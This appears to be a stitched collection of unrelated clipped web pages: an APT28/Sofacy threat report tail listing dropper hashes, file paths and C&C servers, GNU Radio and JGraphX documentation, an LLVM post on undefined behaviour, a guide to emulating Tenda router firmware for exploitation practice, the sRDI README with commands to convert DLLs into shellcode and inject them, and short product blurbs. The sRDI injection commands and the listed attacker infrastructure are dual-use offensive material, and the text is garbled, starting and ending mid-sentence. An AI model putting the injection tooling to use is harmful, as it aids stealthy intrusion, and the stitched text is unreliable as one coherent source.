“Iran\_nuclear\_talks.rtf” \(MD5: 112c64f7c07a959a1cbff6621850a4ad\), the
dropper \(MD5: DFFB22A1A6A757443AB403D61E760F0C\) is executed and write the
following files to the victim’s system:

  * %TEMP%\jhuhugit.temp \(MD5: Dynamic\) 
    * Temporary file in which the embedded \(Dropped\) payload gets decoded into

The exploit document is overwritten with the decoded lure content as shown in
Figure 4:

  * rtf \(MD5: c9d5e381acddf15d6895832ffbf21680\)

<img src='img/Temp2_5363.png' width='745' height='839' alt='figure-4-lure-
document' />

_Figure 4: Lure Document_

Once decoded and written to the temporary file, the dropper moves the Sofacy
payload to the following locations:

  * %APPDATA%\api-ms-win-downlevel-profile-l1-1-0.dll \(MD5: 2dfc90375a09459033d430d046216d22\) 
    * Sofacy variant
  * %TEMP%\api-ms-win-downlevel-profile-l1-1-0.dll \(MD5: 2dfc90375a09459033d430d046216d22\) 
    * Sofacy variant

_Network Communications_

Upon successful infection of the Sofacy payload, it will begin communicating
with the configured C&C servers:

  * 66.172.11.207
  * wscapi.com
  * tabsync.net
  * storsvc.org

**Tsar Team – A Dynamic and Dangerous Adversary**

Tsar Team, who is also called APT28, Operation Pawn Storm, Fancy Bear, and
Sednit, is best known for their use of the Sofacy and X-Agent Trojans, among
others. The group has been tied to numerous zero-days and has leveraged
malware that targets numerous operating systems. Tsar Team operations have
primarily focused on the collection of military and diplomatic intelligence,
but nuclear, telecommunications, and defense industrial sectors have been
targeted as well as Caucus rebels. We believe the same group masqueraded as
the Cyber Caliphate, a purported hacktivist group whose actions claimed to be
supporting ISIS.

**Intelligence Gathered At the Oblique**

This discovery follows an increasingly familiar pattern at iSIGHT Partners.
Like the zero-day leveraged by Russian cyber espionage operators Sandworm Team
we were able to find this exploit by seeking out the adversary. Unlike others,
we recognize the best opportunity to learn about the adversary is not always
close to the attack surface we are helping to defend. Instead, intelligence
collection is best focused outward, at the adversary, and at the places the
adversary frequents.

# GNU Radio - WriteBlocksInPython - gnuradio.org

**Created:**| _11/27/2011 11:07:58 PM_  
---|---  
**Updated:**| _11/27/2011 11:07:58 PM_  
**Author:**| __  
**Tags:**| _python Gnuradio_  
  

# WriteBlocksInPython

This is experimental work. The code can be found here:  
http://gnuradio.org/cgit/jblum.git/log/?h=next

This work allows one to write a gnuradio block entirely in python  
by overloading work\(\) and doing the processing with numpy arrays.

The following interfaces are available:

  * gr.basic\_block - overload general work, call consume
  * gr.sync\_block - overload work, return num output items
  * gr.decim\_block - set decimation factor, overload work
  * gr.interp\_block - set interpolation factor, overload work

## Some quick examples

Look at the QA code here for how to use:  
http://gnuradio.org/cgit/jblum.git/tree/gnuradio-
core/src/python/gnuradio/gr/qa\_block\_gateway.py?h=next

Examples of message passing in QA code:  
http://gnuradio.org/cgit/jblum.git/tree/gnuradio-
core/src/python/gnuradio/gr/qa\_msg\_passing.py?h=next

Replacing example pkt.py with message passing framework:  
http://gnuradio.org/cgit/jblum.git/tree/gr-digital/python/pkt2.py?h=next

## IO Signatures

The block input and output signature should be a list of dtype arguments,  
where each dtype argument can be passed into the numpy.dtype constructor.  
Alternatively, if an IO has zero ports, you can pass None as the argument.

Some IO signature examples:

  * Block with no output streams: None or \[\]
  * Each item is a complex float: \[numpy.complex64\]
  * Each item is a 2x float vector: \[\(numpy.float32, 2\)\]
  * Multiple input streams: \[numpy.float32, numpy.int32\]

## Overloading work

Overload the work method in your class as follows:  

[code]

    def work(self, input_items, output_items):
        #TODO insert work code here...
        return len(output_items[0])
    
[/code]

input\_items and output\_items is a list of numpy arrays.  
Each numpy array in the items list represents a port.  
The user should read from input\_items and write to output\_items.  
And the user should return the number of output\_items produced.

For those unfamiliar with numpy, read the following:  

[code]

    output_items[0] = my_data #incorrect, this only changes array references
    output_items[0][:] = my_data #correct, this assigns to the output buffer
    
[/code]

# LLVM Project Blog: What Every C Programmer Should Know About Undefined
Behavior \#2/3

**Created:**| _5/15/2011 7:45:20 PM_  
---|---  
**Updated:**| _5/15/2011 7:45:20 PM_  
**Author:**| __  
**Tags:**| _C++ programming awesome llvm_  
  

### What Every C Programmer Should Know About Undefined Behavior \#2/3

In Part 1 of our series, we discussed what undefined behavior is, and how it
allows C and C++ compilers to produce higher performance applications than
"safe" languages. This post talks about how "unsafe" C really is, explaining
some of the highly surprising effects that undefined behavior can cause. In
Part \#3, we'll talk about what friendly compilers can do to mitigate some of
the surprise, even if they aren't required to.  
  
I like to call this "**Why undefined behavior is often a scary and terrible
thing for C programmers** ". :-\)  
  
  
  

## Interacting Compiler Optimizations Lead to Surprising Results

  
A modern compiler optimizer contains many optimizations that are run in
specific orders, sometimes iterated, and change as the compiler evolves over
time \(e.g. new releases come out\). Also, different compilers often have
substantially different optimizers. Because optimizations run at different
stages, emergent effects can occur due to previous optimizations changing the
code.  
  
Lets take a look at a silly example \(simplified from an exploitable bug that
was found in the Linux Kernel\) to make this more concrete:  
  

[code]

    void contains_null_check(int *P) {
      int dead = *P;
      if (P == 0)
        return;
      *P = 4;
    }
    
[/code]

  
In this example, the code "clearly" checks for the null pointer. If the
compiler happens to run "Dead Code Elimination" before a "Redundant Null Check
Elimination" pass, then we'd see the code evolve in these two steps:  
  

[code]

    void contains_null_check_after_DCE(int *P) {
      ~~//int dead = *P;~~     // deleted by the optimizer.
      if (P == 0)
        return;
      *P = 4;
    }
    
[/code]

  
and then:  
  

[code]

    void contains_null_check_after_DCE_and_RNCE(int *P) {
      if (P == 0)   // Null check not redundant, and is kept.
        return;
      *P = 4;
    }
    
[/code]

  
However, if the optimizer happens to be structured differently, it could run
RNCE before DCE. This would give us these two steps:  
  

[code]

    void contains_null_check_after_RNCE(int *P) {
      int dead = *P;
      if (**false**)  // P was dereferenced by this point, so it can't be null 
        return;
      *P = 4;
    }
    
[/code]

  
and then dead code elimination runs:  
  

[code]

    void contains_null_check_after_RNCE_and_DCE(int *P) {
      ~~//int dead = *P;~~
      ~~//if (false)~~
      ~~//  return;~~
      *P = 4;
    }
    
[/code]

  
To many \(reasonable\!\) programmers, deleting the null check from this
function would be very surprising \(and they'd probably file a bug against the
compiler :\). However, both "contains\_null\_check\_after\_DCE\_and\_RNCE" and
"contains\_null\_check\_after\_RNCE\_and\_DCE" are perfectly valid optimized
forms of "contains\_null\_check" according to the standard, and both of the
optimizations involved are important for the performance of various
applications.  
  
While this is intentionally a simple and contrived example, this sort of thing
happens all the time with inlining: inlining a function often exposes a number
of secondary optimization opportunities. This means that if the optimizer
decides to inline a function, a variety of local optimizations can kick in,
which change the behavior of the code. This is both perfectly valid according
to the standard, and important for performance in practice.  
  

## Undefined Behavior and Security Don't Mix Well

  
The C family of programming languages is used to write a wide range of
security critical code, such as kernels, setuid daemons, web browsers, and
much more. This code is exposed to hostile input and bugs can lead to all
sorts of exploitable security problems. One of the widely cited advantages of
C is that it is relatively easy to understand what is going on when you read
the code.  
  
However, undefined behavior takes this property away. After all, most
programmers would think that "contains\_null\_check" would do a null check
above. While this case isn't too scary \(the code will probably crash in the
store if passed a null check, which is relatively easy to debug\) there are a
wide range of _very reasonable_ looking C fragments that are completely
invalid. This problem has bit many projects \(including the Linux Kernel,
OpenSSL, glibc, etc\) and even led to CERT issuing a vulnerability note
against GCC \(though my personal belief is that all widely-used optimizing C
compilers are vulnerable to this, not just GCC\).  
  
Lets look at an example. Consider this carefully written C code:  
  

[code]

    void process_something(int size) {
      // Catch integer overflow.
      if (size > size+1)
        abort();
      ...
      // Error checking from this code elided.
      char *string = malloc(size+1);
      read(fd, string, size);
      string[size] = 0;
      do_something(string);
      free(string);
    }
    
[/code]

This code is checking to make sure that the malloc is big enough to hold the
data read from the file \(because a nul terminator byte needs to be added\),
bailing out if an integer overflow error occurs. However, this is exactly the
example we gave before in which the compiler is allowed to \(validly\)
optimize out the check. This means that it is perfectly possible for the
compiler to turn this into:  
  

[code]

    void process_something(int *data, int size) {
      char *string = malloc(size+1);
      read(fd, string, size);
      string[size] = 0;
      do_something(string);
      free(string);
    }
    
[/code]

  
When being built on a 64-bit platform, it is quite likely that this is an
exploitable bug when "size" is INT\_MAX \(perhaps the size of a file on
disk\). Lets consider how terrible this is: a code auditor reading the code
would very reasonably think that a proper overflow check is happening. Someone
testing the code would find no problem unless they specifically tested that
error path. The secure code seems to work, until someone goes ahead and
exploits the vulnerability. All in all, this is a surprising and quite scary
class of bugs. Fortunately, the fix is simple in this case: just use "size ==
INT\_MAX" or similar.  
  
As it turns out, integer overflow is a security problem for many reasons. Even
if you are using fully defined integer arithmetic \(either by using `-fwrapv`
or by using unsigned integers\), there is a wholly different class of integer
overflow bug possible. Fortunately, this class is visible in the code and
knowledgable security auditors are usually aware of the problem.  
  
  

## Debugging Optimized Code May Not Make Any Sense

Some people \(for example, low level embedded programmers who like to look at
generated machine code\) do all of their development with optimizations turned
on. Because code **frequently** has bugs when it is being developed, these
folks end up seeing a disproportionate number of surprising optimizations that
can lead to difficult-to-debug behaviors at runtime. For example, accidentally
leaving out the "i = 0" in the "zero\_array" example from the first article
allows the compiler to completely discard the loop \(compiling zero\_array
into "return;"\) because it is a use of an uninitialized variable.  
  
Another interesting case that bit someone recently happened when they had a
\(global\) function pointer. A simplified example looks like this:  
  

[code]

    static void (*FP)() = 0;
    static void impl() {
      printf("hello\n");
    }
    void set() {
      FP = impl;
    }
    void call() {
      FP();
    }
    
[/code]

which clang optimizes into:  
  

[code]

    void set() {}
    void call() {
      printf("hello\n");
    }
    
[/code]

It is allowed to do this because calling a null pointer is undefined, which
permits it to assume that set\(\) must be called before call\(\). In this
case, the developer forgot to call "set", did not crash with a null pointer
dereference, and their code broke when someone else did a debug build.  
  
The upshot is that it is a fixable issue: if you suspect something weird is
going on like this, try building at -O0, where the compiler is much less
likely to be doing any optimizations at all.  
  
  

## "Working" code that uses undefined behavior can "break" as the compiler
evolves or changes

We've seen many cases where applications that "appear to be work" suddenly
break when a newer LLVM is used to build it, or when the application was moved
from GCC to LLVM. While LLVM does occasionally have a bug or two itself :-\),
this is most often because of latent bugs in the application that are now
being exposed by the compiler. This can happen all sorts different ways, two
examples are:  
  
1\. an uninitialized variable which was zero initialized by luck "before", and
now it shares some other register that isn't zero. This is commonly exposed by
register allocation changes.  
  
2\. an array overflow on the stack which starts clobbering a variable that
actually matters, instead of something that was dead. This is exposed when the
compiler rearranges how it packs things on the stack, or gets more aggressive
about sharing stack space for values with non-overlapping lifetimes.  
  
The important and scary thing to realize is that just about \*any\*
optimization based on undefined behavior can start being triggered on buggy
code at any time in the future. Inlining, loop unrolling, memory promotion and
other optimizations will keep getting better, and a significant part of their
reason for existing is to expose secondary optimizations like the ones above.  
  
To me, this is deeply dissatisfying, partially because the compiler inevitably
ends up getting blamed, but also because it means that huge bodies of C code
are land mines just waiting to explode. This is even worse because...  
  

## There is No Reliable Way to Determine if a Large Codebase Contains
Undefined Behavior

Making the landmine a much much worse place to be is the fact that there is
**no good way** to determine whether a large scale application is free of
undefined behavior, and thus not susceptible to breaking in the future. There
are many useful tools that can help find **some** of the bugs, but nothing
that gives full confidence that your code won't break in the future. Lets look
at some of these options, along with their strengths and weaknesses:  
  
1\. The Valgrind memcheck tool is a fantastic way to find all sorts of
uninitialized variables and other memory bugs. Valgrind is limited because it
is quite slow, it can only find bugs that still exist in the generated machine
code \(so it can't find things the optimizer removes\), and doesn't know that
the source language is C \(so it can't find shift-out-of-range or signed
integer overflow bugs\).  
  
2\. Clang has an experimental `-fcatch-undefined-behavior` mode that inserts
runtime checks to find violations like shift amounts out of range, some simple
array out of range errors, etc. This is limited because it slows down the
application's runtime and it can't help you with random pointer dereferences
\(like Valgrind can\), but it can find other important bugs. Clang also fully
supports the `-ftrapv` flag \(not to be confused with `-fwrapv`\) which causes
signed integer overflow bugs to trap at runtime \(GCC also has this flag, but
it is completely unreliable/buggy in my experience\). Here is a quick demo of
`-fcatch-undefined-behavior`:  
  

[code]

    $ cat t.c
    int foo(int i) {
      int x[2];
      x[i] = 12;
      return x[i];
    }
    
    int main() {
      return foo(2);
    }
    $ clang t.c 
    $ ./a.out 
    $ clang t.c -fcatch-undefined-behavior 
    $ ./a.out 
    Illegal instruction
    
[/code]

3\. Compiler warning messages are good for finding some classes of these bugs,
like uninitialized variables and simple integer overflow bugs. It has two
primary limitations: 1\) it has no dynamic information about your code as it
executes, and 2\) it must run very quickly because any analysis it does slows
down compile time.  
  
4\. The Clang Static Analyzer performs a much deeper analysis to try to find
bugs \(including use of undefined behavior, like null pointer dereferences\).
You can think of it as generating souped up compiler warning messages, because
it is not bound by the compile time constraints of normal warnings. The
primary disadvantages of the static analyzer is that it 1\) doesn't have
dynamic information about your program as it runs, and 2\) is not integrated
into normal workflows for many developers \(though its integration into Xcode
3.2 and later is fantastic\).  
  
5\. The LLVM "Klee" Subproject uses symbolic analysis to "try every possible
path" through a piece of code to find bugs in the code and it **produces a
testcase**. It is a great little project that is mostly limited by not being
practical to run on large-scale applications.  
  
6\. While I have never tried it, the C-Semantics tool by Chucky Ellison and
Grigore Rosu is a very interesting tool that can apparently find some classes
of bugs \(such as sequence point violations\). It is still a research
prototype, but may be useful for finding bugs in \(small and self-contained\)
programs. I recommend reading John Regehr's post about it for more
information.  
  
The end result of this is that we have lots of tools in the toolbox to find
some bugs, but no good way to prove that an application is free of undefined
behavior. Given that there are lots of bugs in real world applications and
that C is used for a broad range of critical applications, this is pretty
scary. In our final article, I'll look at various options that C compilers
have when dealing with undefined behavior, with a specific focus on Clang.  
  
-Chris Lattner

# Emulating Arm Firmware | Azeria Labs
**Created:**| _4/18/2020 12:34:21 PM_  
---|---  
**Updated:**| _4/18/2020 12:34:21 PM_  
**Author:**| __  
**Tags:**| __  
  

  

### Emulating ARM Router Firmware

There are various reasons you might want to emulate firmware. If you want to
do security research on router firmware, for example, emulation can help you
debug certain services and look for vulnerabilities. You could also debug IoT
firmware without emulating it. In that case you would gain root on the device
via hardware hacking and drop gdbserver on the device and debug services
remotely. But what if you don’t have the device? You download the firmware and
emulate it.

In this post, I will show you how to emulate Arm router firmware. First, you
need an Arm environment. Don’t have a spare Arm processor? No problem, QEMU is
your friend\!

For those of you who want to save time and get straight into it, I have
prepared a new Lab VM that contains:

  * QEMU emulated Armv7 environment ready to start
  * Two different Tenda router firmware versions \(AC6 and AC15\)
  * All scripts necessary to start the firmware emulation
  * Two small Arm exploitation challenges to learn the basics of bypassing XN \(more details in the next blog post\)

Download the Lab VM here.

Extracting Firmware

Let’s say you want to emulate the Tenda AC6. Many vendors let you download
firmware versions from their website. Once you chose and downloaded your
firmware, you need to unpack and extract the binary with binwalk.

[code]

    user@Azeria-Lab-VM $ wget https://down.tendacn.com/uploadfile/AC6/US_AC6V1.0BR_V15.03.05.16_multi_TD01.rar
    user@Azeria-Lab-VM $ unrar e US_AC6V1.0BR_V15.03.05.16_multi_TD01.rar 
    user@Azeria-Lab-VM $ binwalk -e US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin
    
    DECIMAL       HEXADECIMAL     DESCRIPTION
    --------------------------------------------------------------------------------
    64            0x40            TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0
    92            0x5C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes
    1722572       0x1A48CC        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08
    
    user@Azeria-Lab-VM $ cd _US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin.extracted
[/code]

What you want from this is the Squashfs filesystem.

[code]

    user@Azeria-Lab-VM $ ls _US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin.extracted/ | grep squashfs-root
    squashfs-root
[/code]

Inside the Azeria Labs VM, boot up the ARMv7 environment by clicking on the
blue ARM icon in the sidebar. Wait until you see the following screen.

<img src='img/arm-vm-300x185.png' width='500' height='308' />

This is the terminal you can start your firmware emulation in. The emulation
will make constant noise by spitting errors saying it can’t access certain
peripherals.

Let’s start with the firmware emulation. From the folder binwalk extracted,
run the following command to transfer the squashfs-root to the Arm
environment.

[code]

    user@Azeria-Lab-VM $ rsync -av squashfs-root user@192.168.0.1:/home/user/Tenda-AC6
[/code]

Minimize this terminal and open Terminator \(red terminal icon in the side
bar\). Terminator is neat because it let’s you split screens more easily. You
can SSH into the Arm environment with the shortcut “ssh arm”.

<img src='img/terminator-768x319.png' width='1024' height='425' />

You can install Terminator with:

[code]

    user@Azeria-Lab-VM $ sudo apt-get install terminator
[/code]

In your Arm environment, you should now have a folder with the squashfs-root
of the firmware you extracted. In this folder, you create a script that starts
the emulation. Normally, and in most cases, this process is simple and the
script looks like this:

[code]

    # disable ASLR
    sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
    
    # Switch to legacy memory layout. Kernel will use the legacy (2.4) layout for all processes
    sudo sh -c "echo 1 > /proc/sys/vm/legacy_va_layout"
    
    # Mount special folders to the existing Debian ARM environment to provide the emulated environment awareness of the Linux surroundings
    sudo mount --bind /proc /home/user/Router/squashfs-root/proc
    sudo mount --bind /sys /home/user/Router/squashfs-root/sys
    sudo mount --bind /dev /home/user/Router/squashfs-root/dev
    
    # Trigger the startup of the firmware
    sudo chroot /home/user/Router/squashfs-root /etc/init.d/rcS
[/code]

Router firmware emulation is not magic, it’s as simple as the above script.
However, turns out there are always exceptions to the rule. The first time I
tried emulating the Tenda AC6 firmware, this script didn’t work and the
process kept crashing without booting up in the first place. I solved this
problem in a rather messy way, by reverse engineering the firmware and tracing
back which parameters it’s complaining about. I wrote a program \(hooks.c on
Github\)to simply give it what it wants and voila, it worked. I thought this
was a very custom way of making this specific version of the firmware work. To
my surprise, emulating a different Tenda firmware \(AC15\) resulted in the
same problem, and guess what? The hooks I coded for the AC6 firmware still
worked. I haven’t tested it on other Tenda firmware versions, but if seeing it
work on the two I randomly selected made me want to release it for people who
might run into the same problem. And who know, maybe it works for more Tenda
versions? You can find the code on the Azeria Labs GitHub and on the Lab VM.

But let’s quickly go through the process of cross-compiling it for your
emulation:

[code]

    user@Azeria-Lab-VM $ wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2 
    user@Azeria-Lab-VM $ tar xjf cross-compiler-armv5l.tar.bz2 
    user@Azeria-Lab-VM $ wget https://raw.githubusercontent.com/azeria-labs/Arm-firmware-emulation/master/hooks.c
    user@Azeria-Lab-VM $ cross-compiler-armv5l/bin/armv5l-gcc hooks.c -o hooks.so -shared
    user@Azeria-Lab-VM $ scp hooks.so user@arm:/home/user/Tenda-AC6/squashfs-root/hooks.so
[/code]

Inside the Arm environment, cd to the folder you transferred the squashfs-root
to and download the emulate.sh script.

[code]

    user@azeria-labs-arm:~/Tenda-AC6$ wget https://raw.githubusercontent.com/azeria-labs/Arm-firmware-emulation/master/emulate.sh
[/code]

The emulation script looks similar to the one I mentioned earlier, with the
difference that it runs with the hooks.so file.

[code]

    # Script to emulate Arm-based router firmware. This example is based on a QEMU emulated Debian environment. 
    # You can download the VM with the QEMU Armv7 emulation (link in README)
    
    # br0 interface existence is necessary for successful emulation
    sudo ip link add br0 type dummy
    
    # Disable ASLR for easier testing. Can be re-enabled with the same command by replacing 0 with 1 or 2.
    sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
    
    # Switch to legacy memory layout. Kernel will use the legacy (2.4) layout for all processes to mimic an embedded environment which usually has old kernels
    sudo sh -c "echo 1 > /proc/sys/vm/legacy_va_layout"
    
    # Mount special linux folders to the existing Debian ARM environment to provide the emulated environment with the Linux context.
    # Replace /home/user/Tenda with the path to your extracted squashfs-root. 
    sudo mount --bind /proc /home/user/Tenda/squashfs-root/proc
    sudo mount --bind /sys /home/user/Tenda/squashfs-root/sys
    sudo mount --bind /dev /home/user/Tenda/squashfs-root/dev
    
    # Set up an interactive shell in an encapsulated squashfs-root filesystem and trigger the startup of the firmware.
    # Replace /home/user/Tenda with the path to your extracted squashfs-root. 
    sudo chroot /home/user/Tenda/squashfs-root /bin/sh -c "LD_PRELOAD=/hooks.so /etc_ro/init.d/rcS"
[/code]

Switch to the violet terminal \(the one that popped up when you started the
Arm environment\) and run the emulation script from there. The reason is that
it will generate a lot of noise, spitting out errors about not being able to
reach certain peripherals and so on.

[code]

    user@azeria-labs-arm:~/Tenda$ sudo ./emulate.sh
[/code]

Now, let’s check if the firmware emulation has been successful. The first
thing you want to check is if new processes are running.

[code]

    user@azeria-labs-arm:~$ sudo netstat -tlpn
    sudo: unable to resolve host Tenda: Resource temporarily unavailable
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address Foreign Address  State    PID/Program name 
    tcp     0     0 0.0.0.0:22          0.0.0.0:*      LISTEN   236/sshd 
    tcp     0     0 0.0.0.0:5500        0.0.0.0:*      LISTEN   809/miniupnpd 
    tcp     0     0 0.0.0.0:9000        0.0.0.0:*      LISTEN   450/ucloud_v2 
    tcp     0     0 172.18.166.182:80   0.0.0.0:*      LISTEN   585/dhttpd 
    tcp     0     0 192.168.0.1:80      0.0.0.0:*      LISTEN   448/httpd 
    tcp     0     0 127.0.0.1:10002     0.0.0.0:*      LISTEN   450/ucloud_v2 
    tcp     0     0 127.0.0.1:10003     0.0.0.0:*      LISTEN   450/ucloud_v2 
    tcp     0     0 0.0.0.0:10004       0.0.0.0:*      LISTEN   451/business_proc 
    tcp6    0     0 :::22               :::*           LISTEN   236/sshd
[/code]

Looks good\! Now let’s check out the router interface by browsing to
192.168.0.1.

<img src='img/tenda-768x456.png' width='964' height='572' />

Perfect\!

Now you can start playing around with the interface, attaching to processes,
and debug them. Just a quick hint on how to attach to an httpd process with
GDB to get you started:

[code]

    user@azeria-labs-arm:~$ ps aux | grep httpd
    **root 448   0.3 0.2   3692  2136 ?      Ss  02:00  0:03 httpd**
    root   585   0.1 0.0   2628   716 ?      S   02:00  0:01 dhttpd
    user   9073  0.0 0.0   6736   532 pts/0  S+  02:16  0:00 grep httpd
    user@azeria-labs-arm:~$ sudo gdb -q -p 448 
    
[/code]

Happy hacking\!

# monoxgas/sRDI

**Created:**| _8/2/2017 10:13:19 PM_  
---|---  
**Updated:**| _8/2/2017 10:13:19 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# sRDI

Shellcode implementation of Reflective DLL Injection. Supports

sRDI allows for the conversion of DLL files to position independent shellcode.
This is accomplished via two components:

  * C project which compiles a PE loader implementation \(RDI\) to shellcode
  * Conversion code which attaches the DLL, RDI, and user data together with a bootstrap

This project is comprised of the following elements:

  * **ShellcodeRDI:** Compiles shellcode for the DLL loader
  * **NativeLoader:** Converts DLL to shellcode if neccesarry, then injects into memory
  * **DotNetLoader:** C\# implementation of NativeLoader
  * **Python\ConvertToShellcode.py:** Convert DLL to shellcode in place
  * **PowerShell\ConvertTo-Shellcode.ps1:** Convert DLL to shellcode in place
  * **TestDLL:** Example DLL that includes two exported functions for call on Load and after

## Use Cases / Examples

Before use, I recommend you become familiar with Reflective DLL Injection and
it's purpose.

### Convert DLL to shellcode using python

[code]

    from ShellcodeRDI import *
    
    dll = open("TestDLL_x86.dll", 'rb').read()
    shellcode = ConvertToShellcode(dll)
[/code]

### Load DLL into memory using C\# loader

[code]

    DotNetLoader.exe TestDLL_x64.dll
    
[/code]

### Convert DLL with python script and load with Native EXE

[code]

    python ConvertToShellcode.py TestDLL_x64.dll
    NativeLoader.exe TestDLL_x64.bin
    
[/code]

### Convert DLL with powershell and load with Invoke-Shellcode

[code]

    Import-Module .\Invoke-Shellcode.ps1
    Import-Module .\ConvertTo-Shellcode.ps1
    Invoke-Shellcode -Shellcode (ConvertTo-Shellcode -File TestDLL_x64.dll)
[/code]

## Building

This project is built using Visual Studio 2015 \(v140\) and Windows SDK 8.1.
The python script is written using Python 3.

The Python and Powershell scripts are located at:

  * Python\ConvertToShellcode.py
  * PowerShell\ConvertTo-Shellcode.ps1

After building the project, the other binaries will be located at:

  * bin\NativeLoader.exe
  * bin\DotNetLoader.exe
  * bin\TestDLL\_.dll
  * bin\ShellcodeRDI\_.bin

## Credits

The basis of this project is derived from "Improved Reflective DLL Injection"
from Dan Staples which itself is derived from the original project by Stephen
Fewer.

The project framework for compiling C code as shellcode is taken from Mathew
Graeber's reasearch "PIC\_BindShell"

The PEFile project is used in the python script for parsing.

  

# Microsoft PROSE SDK

**Created:**| _4/25/2019 6:31:29 AM_  
---|---  
**Updated:**| _4/25/2019 6:31:29 AM_  
**Author:**| __  
**Tags:**| _Logs machine-learning log-management_  
  

  

# Microsoft Program Synthesis using Examples SDK

## A framework for automatic programming or data wrangling from input-output
examples.

* * *
## Program Synthesis Framework

Microsoft PROSE SDK is a framework of technologies for _programming by
examples_ : automatic generation of programs from input-output examples at
runtime.

Given a domain-specific language \(DSL\) and some input-output examples for
the desired program’s behavior, PROSE synthesizes a ranked set of DSL programs
that are consistent with the examples.

## Data Wrangling DSLs

PROSE SDK includes a pre-defined suite of technologies for various kinds of
_data wrangling_ – cleaning and pre-processing raw semi-structure data into a
form amenable to analysis:

  * Flash Fill, a technology for _text transformation by examples_ , available in Microsoft Excel and PowerShell. 
  * _Data extraction from text files_ by examples, available in PowerShell and Azure Log Analytics. 
  * _Data extraction_ and _transformation_ of JSON by examples.
  * _Predictive file splitting_ technology, which splits a text file into the structured columns without any examples. 

Measure

Measure

# Page \#1591 Source Codes Search Engine - HackChina.com

**Created:**| _4/13/2011 9:02:08 PM_  
---|---  
**Updated:**| _4/13/2011 9:02:08 PM_  
**Author:**| __  
**Tags:**| _bookmark programming searching_  
  
<img src='img/Temp2_6102.png' />  
---  
Open Source Projects Search Engine

# midipix

**Created:**| _8/28/2015 4:33:31 PM_  
---|---  
**Updated:**| _8/28/2015 4:33:31 PM_  
**Author:**| __  
**Tags:**| _windows environment syscall_  
  
  

# what is midipix, and how is it different?

**midipix is a development environment that lets you create programs for
Windows using the standard C and POSIX APIs. No compromises made, no shortcuts
taken.**

If you are interested in cross-platform programming that reclaims the notion
of write once, compile everywhere; if you believe that the 'standard' in the C
Standard Library should not be a null signifier; and if you like cooking your
code without \#ifdef hell and low-level minutiae, then this page is for you.

midipix makes cross-platform programming better, simpler and faster,
specifically by bringing a modern, conforming C Runtime Library to the Windows
platform. While the idea itself is not new, the approach taken in midipix to
code portability is radically different from that found in other projects.

layering and modularity

    midipix fosters true separation between the POSIX system call layer and the C runtime library. In other projects that provide a POSIX programming environment, such as cygwin and SUA/Interix, there is no practical way to tell the \(2\) from the \(3\), and one often finds that the system call interface, e.g. poll\(2\), is unified with its respective libc function. Although closely related, C and POSIX are two independent standards that evolve differently and in a differenct pace. Between the two, midipix focuses on the part that is painfully missing on Windows, namely the POSIX system call layer.
complete, fast, and robust

    The midipix system call layer is written using the Windows Native API, this including the implementation of sockets, pseudo-terminal file descriptors, job control, path resolution, inter-process communication, and virtual mount system. The use of the Native API provides key performance increases, most notably when compared with cygwin, and the completeness of the system call layer \(see roadmap\) provides a true advantage over msys and mingw. Additional features that distinguish midipix from cygwin and mingw include a copy-on-write fork, the native implementation of thread- and process-creation, the native handling of utf-8 in system call arguments, and the use of fast LPC for signals, session-management, and locking arbitration.
easy distribution

    midipix supports both static and dynamic linking; there are no assumptions about the directory structure on the end-user machine, and unlike SUA/Interix, no special installation of a Windows component is required. Midipix applications running on the same system are completely independent of one another; as opposed to cygwin there is no arbitrary inherited state between two unrelated applications, and the crashing or misbehavior of one application can in no direct way affect another. The one intentional exception to the rule is that of POSIX sessions, where you would want such inheritance and integration to take place. For instance, you would want an application created via fork\(\), execve\(\), or posix\_spawn\(\) to inherit its file descriptors \(and in the case of fork\(\) also address space\) from its parent, and would likewise want termination of a child application to cause a SIGCHLD signal to be sent to the parent. In all other cases, however, midipix applications would only interact with one another if you so desire \(using your favorite method of IPC\), thus making both distribution and debugging considerably easier.
flexible execution environment

    midipix applications are part of the native Windows subsystem; unlike SUA/Interix there is no need for special kernel support, yet double-clicking a midipix application will never open a terminal window against your will, as in the case of msys or cygwin. At the same time, and similar to other unix-like systems, midipix applications that are started from within a terminal session can automatically take advantage of job control, \(pseudo-\)terminal signals, and standard input and output.
a modern libc of your choice

    Whereas cygwin is paired with newlib, mingw depends on msvcrt, and SUA mandates its own C library, the midipix system call layer \(psxscl\) is not tied to any particular libc, and may thus be used for porting several different implementations. The midipix libc of choice, however, is musl: a modern libc implementation that puts special emphasis on portability and correctness, and which provides complete, high-quality, and exceptionally robust pthread- and C11 support. The musl developers and users in general, and the project architect Rich Felker in particular, have been tremendously helpful in shaping the direction of the midipix project, and have provided invaluable tips, suggestions, and technical feedback. A tiny set of files that bridge between an application's entry point and musl's \_\_libc\_start\_main, the midipix musl-glue files turn NT into just another supported system, and may also be used as a model for porting additional libc's to Windows.
portability from below

    Rather than porting a POSIX C library by way of modification, midipix renders porting easy by satisfying the libc's largest \(and often only\) dependency, namely the system call layer. In doing so, midipix follows the design of musl libc, where about 99% of the code base is shared between platforms, and where the few low-level, architecture-specific bits remain transparent to application and library authors. There are several clear advantages to that approach, most notably with respect to sustainability and reliability; sustainability, since maintaining the system call layer does not require maintaining a libc on top of it; and reliability, since every single function in the libc gets tested and reviewed by a large number of users in a variety of platforms. Then again, there is virtually no lag between the introduction of a feature to the libc, and its availability on Windows, and it is likewise easy to switch between different version of the C library for testing purposes. 
  

# JGraphX User Manual

**Created:**| _4/13/2011 8:33:25 AM_  
---|---  
**Updated:**| _4/13/2011 8:33:25 AM_  
**Author:**| __  
**Tags:**| _Graphs Java Tutorials_  
  

JGraphX uses a transactional system for making changes to the model. In the
HelloWorld example we saw this code:

[code]

    // Adds cells to the model in a single step
    graph.getModel().beginUpdate();
    try
    {
